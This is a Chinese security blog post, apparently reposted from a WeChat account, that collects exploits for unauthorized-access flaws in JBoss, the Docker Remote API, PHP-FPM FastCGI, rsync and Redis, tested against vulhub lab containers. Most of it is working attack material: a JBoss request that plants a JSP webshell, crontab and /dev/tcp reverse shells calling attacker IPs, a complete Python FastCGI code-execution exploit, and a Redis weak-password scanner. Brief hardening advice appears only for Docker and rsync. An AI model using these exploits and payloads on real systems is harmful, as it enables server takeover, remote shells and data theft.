【附EXP】常见的未授权访问漏洞

admin 2021年7月20日01:00:50评论360 views字数 16005阅读53分21秒阅读模式

漏洞汇总

【附EXP】常见的未授权访问漏洞

jboss未授权访问漏洞

漏洞描述

    此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能
    未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件

影响版本

    jboss 4.x以下

环境搭建

    使用docker搭建的靶场,访问页面 your-ip:8080

【附EXP】常见的未授权访问漏洞

漏洞检测

【附EXP】常见的未授权访问漏洞

漏洞复现

1.写入一句话木马

http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

    url中的参数: arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容

将arg3的中值取出来并进行url解码后为

<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>

    这个语句的功能是写入文件,f=文件名,t=文件内容,执行后回显

【附EXP】常见的未授权访问漏洞

    写入1.txt文件

http://ip:8080/August/shell.jsp?f=1.txt&t=hello%20world!

【附EXP】常见的未授权访问漏洞

    访问1.txt文件,成功写入文件,这里也可以写入一句话木拉,然后使用一句话木马管理工具进行连接

【附EXP】常见的未授权访问漏洞

2.上传木马

    1.发现jboss默认页面,点击进入控制页面

【附EXP】常见的未授权访问漏洞

    2.点击jboss.deployment进入应用部署页面,如果需要登录可以尝试爆破弱口令登录 (admin/admin)

【附EXP】常见的未授权访问漏洞

    3.这里使用phpstudy搭建远程木马服务器

【附EXP】常见的未授权访问漏洞

    4.使用冰蝎马生成war包 ,将war包放在 /www/目录下

冰蝎马生成java -jvf shell.war shell.jsp

【附EXP】常见的未授权访问漏洞

    5.使用addurl参数进行木马的远程部署

【附EXP】常见的未授权访问漏洞

    回显页面

【附EXP】常见的未授权访问漏洞

    6.查看是否有部署成功,返回刚进入的jmx-console页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

【附EXP】常见的未授权访问漏洞

    7.访问 your-ip:8080/shell,说明成功部署

【附EXP】常见的未授权访问漏洞

    8.使用冰蝎连接 默认密码为(rebeyond)

【附EXP】常见的未授权访问漏洞


docker未授权访问漏洞

漏洞简介

Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

docker swarm是docker下的分布化应用的本地集群,在开放2375端口监听集群容器时,会调用这个api

漏洞成因

1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:23752. docker守护进程监听在0.0.0.0,外网可访问3.没有使用iptable等限制可连接的来源ip。

漏洞检测

    输入地址 http://your-ip:2375/version,若能访问,证明存在未授权访问漏洞

【附EXP】常见的未授权访问漏洞

    使用命令行获取信息(docker环境下)

docker -H tcp://192.168.1.7:2375 images                  //获取镜像信息docker -H tcp://192.168.1.7:2375 run 28f6e2705743        //启动docker容器docker -H tcp://192.168.1.7:2375    ps -a                //获取容器信息docker -H tcp://192.168.1.7:2375                        //关闭容器

【附EXP】常见的未授权访问漏洞

利用方法

随意启动一个容器,并将宿主机的 / 目录挂载到容器的 /mnt目录,这样就可以操作宿主机中的文件了docker -H tcp://192.168.1.7:2375 run -it -v /:/mnt 28f6e2705743 /bin/sh
攻击机监听root@kali:~# nc -lvvp 6666listening on [any] 6666 ...
写入就计划任务,反弹shellecho "* * * * * /usr/bin/nc 192.168.83.100 6666 -e /bin/sh" >> /mnt/etc/crontabs/root

【附EXP】常见的未授权访问漏洞

成功反弹shell

【附EXP】常见的未授权访问漏洞

进入容器查看定时任务,*/15的意思为每15分钟执行一次

【附EXP】常见的未授权访问漏洞

也可以使用工具进行反弹shell

    client 改为存在漏洞的ip地址
    data 将ip改为反弹shell的地址
    定时任务每15分钟执行一次

import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

修复方法

1)配置acl,Docker Remote API不要绑定到0.0.0.0。
2)修改docker swarm的认证方式,使用TLS认证。


PHP-FPM Fastcgi 未授权访问漏洞

Fastcgi

    Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议

PHP-FPM

    PHP-FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1'}


    这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
    PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

security.limit_extensions配置

    此时,SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404。在fpm某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd。但后来,fpm的默认配置中增加了一个选项security.limit_extensions。其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回Access denied。由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php

任意代码执行

    PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
    那么假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)
    那么,如何设置auto_prepend_file的值?这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)所以,我们最后传入如下环境变量

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}

复现

使用exp

import socketimport randomimport argparseimport sysfrom io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):    if PY2:        return force_bytes(chr(i))    else:        return bytes([i]) def bord(c):    if isinstance(c, int):        return c    else:        return ord(c) def force_bytes(s):    if isinstance(s, bytes):        return s    else:        return s.encode('utf-8', 'strict') def force_text(s):    if issubclass(type(s), str):        return s    if isinstance(s, bytes):        s = str(s, 'utf-8', 'strict')    else:        s = str(s)    return s  class FastCGIClient:    """A Fast-CGI Client for Python"""     # private    __FCGI_VERSION = 1     __FCGI_ROLE_RESPONDER = 1    __FCGI_ROLE_AUTHORIZER = 2    __FCGI_ROLE_FILTER = 3     __FCGI_TYPE_BEGIN = 1    __FCGI_TYPE_ABORT = 2    __FCGI_TYPE_END = 3    __FCGI_TYPE_PARAMS = 4    __FCGI_TYPE_STDIN = 5    __FCGI_TYPE_STDOUT = 6    __FCGI_TYPE_STDERR = 7    __FCGI_TYPE_DATA = 8    __FCGI_TYPE_GETVALUES = 9    __FCGI_TYPE_GETVALUES_RESULT = 10    __FCGI_TYPE_UNKOWNTYPE = 11     __FCGI_HEADER_SIZE = 8     # request state    FCGI_STATE_SEND = 1    FCGI_STATE_ERROR = 2    FCGI_STATE_SUCCESS = 3     def __init__(self, host, port, timeout, keepalive):        self.host = host        self.port = port        self.timeout = timeout        if keepalive:            self.keepalive = 1        else:            self.keepalive = 0        self.sock = None        self.requests = dict()     def __connect(self):        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.settimeout(self.timeout)        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        # if self.keepalive:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)        # else:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)        try:            self.sock.connect((self.host, int(self.port)))        except socket.error as msg:            self.sock.close()            self.sock = None            print(repr(msg))            return False        return True     def __encodeFastCGIRecord(self, fcgi_type, content, requestid):        length = len(content)        buf = bchr(FastCGIClient.__FCGI_VERSION)                + bchr(fcgi_type)                + bchr((requestid >> 8) & 0xFF)                + bchr(requestid & 0xFF)                + bchr((length >> 8) & 0xFF)                + bchr(length & 0xFF)                + bchr(0)                + bchr(0)                + content        return buf     def __encodeNameValueParams(self, name, value):        nLen = len(name)        vLen = len(value)        record = b''        if nLen < 128:            record += bchr(nLen)        else:            record += bchr((nLen >> 24) | 0x80)                       + bchr((nLen >> 16) & 0xFF)                       + bchr((nLen >> 8) & 0xFF)                       + bchr(nLen & 0xFF)        if vLen < 128:            record += bchr(vLen)        else:            record += bchr((vLen >> 24) | 0x80)                       + bchr((vLen >> 16) & 0xFF)                       + bchr((vLen >> 8) & 0xFF)                       + bchr(vLen & 0xFF)        return record + name + value     def __decodeFastCGIHeader(self, stream):        header = dict()        header['version'] = bord(stream[0])        header['type'] = bord(stream[1])        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])        header['paddingLength'] = bord(stream[6])        header['reserved'] = bord(stream[7])        return header     def __decodeFastCGIRecord(self, buffer):        header = buffer.read(int(self.__FCGI_HEADER_SIZE))         if not header:            return False        else:            record = self.__decodeFastCGIHeader(header)            record['content'] = b''                        if 'contentLength' in record.keys():                contentLength = int(record['contentLength'])                record['content'] += buffer.read(contentLength)            if 'paddingLength' in record.keys():                skiped = buffer.read(int(record['paddingLength']))            return record     def request(self, nameValuePairs={}, post=''):        if not self.__connect():            print('connect failure! please check your fasctcgi-server !!')            return         requestId = random.randint(1, (1 << 16) - 1)        self.requests[requestId] = dict()        request = b""        beginFCGIRecordContent = bchr(0)                                  + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER)                                  + bchr(self.keepalive)                                  + bchr(0) * 5        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                                              beginFCGIRecordContent, requestId)        paramsRecord = b''        if nameValuePairs:            for (name, value) in nameValuePairs.items():                name = force_bytes(name)                value = force_bytes(value)                paramsRecord += self.__encodeNameValueParams(name, value)         if paramsRecord:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)         if post:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)         self.sock.send(request)        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND        self.requests[requestId]['response'] = b''        return self.__waitForResponse(requestId)     def __waitForResponse(self, requestId):        data = b''        while True:            buf = self.sock.recv(512)            if not len(buf):                break            data += buf         data = BytesIO(data)        while True:            response = self.__decodeFastCGIRecord(data)            if not response:                break            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT                     or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR                if requestId == int(response['requestId']):                    self.requests[requestId]['response'] += response['content']            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:                self.requests[requestId]        return self.requests[requestId]['response']     def __repr__(self):        return "fastcgi connect host:{} port:{}".format(self.host, self.port)  if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')    parser.add_argument('host', help='Target host, such as 127.0.0.1')    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)     args = parser.parse_args()     client = FastCGIClient(args.host, args.port, 3, 0)    params = dict()    documentRoot = "/"    uri = args.file    content = args.code    params = {        'GATEWAY_INTERFACE': 'FastCGI/1.0',        'REQUEST_METHOD': 'POST',        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),        'SCRIPT_NAME': uri,        'QUERY_STRING': '',        'REQUEST_URI': uri,        'DOCUMENT_ROOT': documentRoot,        'SERVER_SOFTWARE': 'php/fcgiclient',        'REMOTE_ADDR': '127.0.0.1',        'REMOTE_PORT': '9985',        'SERVER_ADDR': '127.0.0.1',        'SERVER_PORT': '80',        'SERVER_NAME': "localhost",        'SERVER_PROTOCOL': 'HTTP/1.1',        'CONTENT_TYPE': 'application/text',        'CONTENT_LENGTH': "%d" % len(content),        'PHP_VALUE': 'auto_prepend_file = php://input',        'PHP_ADMIN_VALUE': 'allow_url_include = On'    }    response = client.request(params, content)    print(force_text(response))

使用

使用命令执行一个默认存在的php文件python fpm.py your-ip /usr/local/lib/php/PEAR.php任意命令执行python fpm.py 192.168.1.7 /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>'

【附EXP】常见的未授权访问漏洞

【附EXP】常见的未授权访问漏洞


rsync未授权访问漏洞

漏洞简介

    rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。

    rsync未授权访问带来的危害主要有两个:一个造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行

rsync配置文件

    该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以利用该权限写马或者写一句话,从而拿到shell。

    看一下配置文件的网相关选项(/etc/rsync.conf)
    这一项read only表示只读,如果这一项为no,就具有写权限了

【附EXP】常见的未授权访问漏洞

( 使用docker搭建的vulhub靶场的rsyncd.conf配置文件 )

【附EXP】常见的未授权访问漏洞

    根据以上配置文件发现,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问rsync

配置参数说明

motd file -> motd文件位置log file -> 日志文件位置path -> 默认路径位置use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录read only -> 只读配置(yes or no)list=true -> 是否可以列出模块名uid = root -> 传输使用的用户名gid = root -> 传输使用的用户组auth users -> 认证用户名secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:passwordhosts allow=192.168.0.101  -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开hosts deny 禁止的主机,host的两项可以使用*表任意。

利用方式

    rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他扫描端口工具对目标进行端口扫描,当检测到目标服务器开启873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件

使用nmap扫描目标系统是否开放rsync服务

nmap -p 873 --script rsync-list-modules 192.168.1.7


【附EXP】常见的未授权访问漏洞

列出目标服务器的同步记录

rsync ip::rsync rsync://ip:873


【附EXP】常见的未授权访问漏洞

查看模块文件

    获取到目录之后,只需在路径后添加目录名即可查看目录中的文件
   这里查看src目录

【附EXP】常见的未授权访问漏洞

下载任意目录文件

rsync -av ip::src

    假如下载/etc/passwd文件到 /opt/目录下

【附EXP】常见的未授权访问漏洞

    查看passwd.txt文件

【附EXP】常见的未授权访问漏洞

也可以向目标系统上传任意文件

rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径

反弹shell

    1.下载cron定时任务配置文件并查看任务内容

rsync -av rsync://ip/src/etc/crontab crontab.txtcat crontab.txt

【附EXP】常见的未授权访问漏洞

//17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly//表示17分钟会启动/etc/cron.hourly目录下文件的任务

    2.攻击机创建一个shell文件

touch shell//文件写入反弹shell命令#!/bin/bash/bin/bash -i >& /dev/tcp/192.168.1.6/4444 0>&1

    3.传入 /etc/cron.hourly目录下,写入到 cron.hourly下文件的任务就会启动

rsync -av shell rsync://ip:873/src/etc/cron.hourly

【附EXP】常见的未授权访问漏洞

    4.使用vps(windows)监听4444端口,等待17分钟后,接收反弹的shell

【附EXP】常见的未授权访问漏洞


修复建议

更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:访问控制;设置host allow,限制允许访问主机的IP。权限控制;设置auth users ,将模块设置成只读。权限控制;设置read only,将模块设置成只读。访问认证;设置auth、secrets,认证成功才能调用服务。模块隐藏;设置list,将模块隐藏。


Redis未授权访问漏洞

    redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。
    Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

影响版本

    影响版本 Redis 4.x/5.0.5以前版本

环境搭建

    使用docker搭建的vulhub靶场

漏洞检测

    redis 未授权批量检测工具脚本,该脚本支持弱口令检测。

#!/usr/bin/python2# -*- coding: utf-8 -*-
import socketimport sys
def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFOrn") result = s.recv(1024) if "redis_version" in result: return u"[+] IP:{0}存在未授权访问".format(ip) elif "Authentication" in result: with open('pass.txt','r') as p: passwds = p.readlines() for passwd in passwds: passwd = passwd.strip("n") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %srn" %(passwd)) # print u"[HACKING] hacking to passwd --> "+passwd result = s.recv(1024) if 'OK' in result: return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd) else:pass else:pass s.close() except Exception, e: return u"[+] IP:{0}已过滤".format(ip) pass
if __name__ == '__main__': port="6379" with open('IP.txt','r') as f: ips = f.readlines() for i in ips: ip = i.strip("n") result = check(ip,port,timeout=10) print(result)

    在该脚本同目录下新建IP.txt导入要检测的目标IP,格式如:

192.168.126.128192.168.126.129192.168.126.130192.168.126.131...

    在脚本同目录下新建pass.txt导入弱口令字典,格式如下:

redisrootoraclepasswordp@ssw0rdabc123!123456adminabc123...

    使用工具检测命令

python redis-scan.py

【附EXP】常见的未授权访问漏洞


漏洞复现

linux下载redis-cli远程连接工具

wget http://download.redis.io/redis-stable.tar.gztar -zxvf redis-stable.tar.gzcd redis-stable make     //使用make编译后进入 /src/文件夹下面 cp src/redis-cli /usr/bin/        //拷贝文件到 /usr/bin 目录下,然后任意目录都可以使用 redis-cli 远程连接命令redis-cli -h    // -h 后面跟ip地址

    使用redis-cli命令直接远程免密登录redis主机

# 无密码登录命令redis-cli -h 目标主机IP# 有密码登录命令redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

【附EXP】常见的未授权访问漏洞

    如果可以连接说明存在未授权访问漏洞

linux 安装redis-getShell工具

git clone https://github.com/vulhub/redis-rogue-getshell.gitcd RedisModulesSDK/make//克隆成功后使用cd命令切换到RedisModulesSDK 使用 make 命令进行编译,编译后回到 redis-rogue-getshell/ 目录下


【附EXP】常见的未授权访问漏洞

    利用此工具进行getshell,执行任意命令

# 工具命令格式:python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"# 工具命令示例:python3 redis-master.py -r 192.168.126.130 -p 6379 -L 192.168.126.128 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

【附EXP】常见的未授权访问漏洞


利用工具下载地址 (https://github.com/n0b0dyCN/redis-rogue-server)


最后贴一个未授权访问漏洞的利用工具 (下载地址:https://github.com/joaomatosf/jexboss/archive/master.zip)

【附EXP】常见的未授权访问漏洞

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗【附EXP】常见的未授权访问漏洞

往期文章有彩蛋哦【附EXP】常见的未授权访问漏洞

【附EXP】常见的未授权访问漏洞

一如既往的学习,一如既往的整理,一如即往的分享。【附EXP】常见的未授权访问漏洞

如侵权请私聊公众号删文

本文始发于微信公众号(渗透Xiao白帽):【附EXP】常见的未授权访问漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月20日01:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【附EXP】常见的未授权访问漏洞http://cn-sec.com/archives/429103.html

发表评论

匿名网友 填写信息